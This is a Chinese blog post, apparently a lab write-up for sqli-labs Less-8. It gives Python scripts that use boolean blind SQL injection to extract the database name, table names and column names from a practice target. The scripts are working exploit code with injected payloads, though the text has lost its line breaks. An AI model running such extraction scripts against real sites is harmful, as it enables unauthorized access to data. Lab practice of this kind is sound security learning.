当前位置: 首页 > news >正文

less-8 boolen盲注,时间盲注 函数补全

获取当前数据库名

import requestsdef inject_database(url):name=''max_length=20  # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32  # 起始为空格的ASCII码high_val=122  # 到z的ASCII码# 执行二分查找来找到每个字符while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_val# 获取字符并更新数据库名if low_val > 32:  # 跳过空格和其他不可见字符char=chr(low_val)name+=charprint(f"Current database name: {name}")# 重置low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)

获取数据库表

import requestsdef inject_table_names(url, database_name):table_names=[]  # 用于存储所有表名max_length=20  # 假设每个表名的最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表:我们假设表名的个数不超过100num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值:'0',ASCII 48high=max(allowed_chars)  # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前表的名字payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符table_name+=chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name:  # 如果当前表名非空,则保存它table_names.append(table_name)# 如果注入出了多个表,可以停止if len(table_names) >= 5:  # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称inject_table_names(url, database_name)

获取表的列

import requestsdef inject_column_names(url, database_name, table_name):column_names=[]  # 用于存储所有列名max_length=20  # 假设列名最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns=100  # 假设该表最多有100列for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值:'0',ASCII 48high=max(allowed_chars)  # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前列的名字payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars:  # 确保是有效字符column_name+=chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列,可以停止if len(column_names) >= 5:  # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称table_name="users"  # 目标表名inject_column_names(url, database_name, table_name)
http://www.lryc.cn/news/540223.html

相关文章:

  • [NKU]C++基础课(五)补充:结构体
  • 亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!
  • springcloud整合seata
  • Html5学习教程,从入门到精通,HTML5 简介语法知识点及案例代码(1)
  • Django加bootstrap实现上传文件含有进度条
  • 八大排序算法(2)交换排序-冒泡排序 和 快速排序
  • Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅
  • STM32MP157A单片机移植Linux驱动
  • Qt程序退出相关资源释放问题
  • 【大学生职业规划大赛备赛PPT资料PDF | 免费共享】
  • win32汇编环境,对话框中使用菜单示例一
  • AutoDock CrankPep or ADCP进行蛋白质多肽对接
  • 高压直流熔断器研究
  • 微信小程序(uni)+蓝牙连接+Xprint打印机实现打印功能
  • 使用 Docker 部署 Flask 应用
  • 深入浅出GraphQL:现代API设计的未来
  • 深入理解Zookeeper:分布式系统的协调者
  • python绘图之回归拟合图
  • C语言学习笔记(第二部份)
  • jQuery UI CSS 框架 API
  • Redis7——基础篇(六)
  • Windows网络安全基础
  • spring boot知识点4
  • 【大模型系列篇】DeepSeek-R1如何通过强化学习有效提升大型语言模型的推理能力?
  • 主表增一个子表批量新增
  • Llama 3.1 本地电脑部署 Linux系统 【轻松简易】
  • langchain系列 - FewShotPromptTemplate 少量示例
  • 详细介绍下软件生命周期的各个阶段以及常见的软件生命周期模型
  • 重构谷粒商城07:Git一小时快速起飞指南
  • 设计模式教程:命令模式(Command Pattern)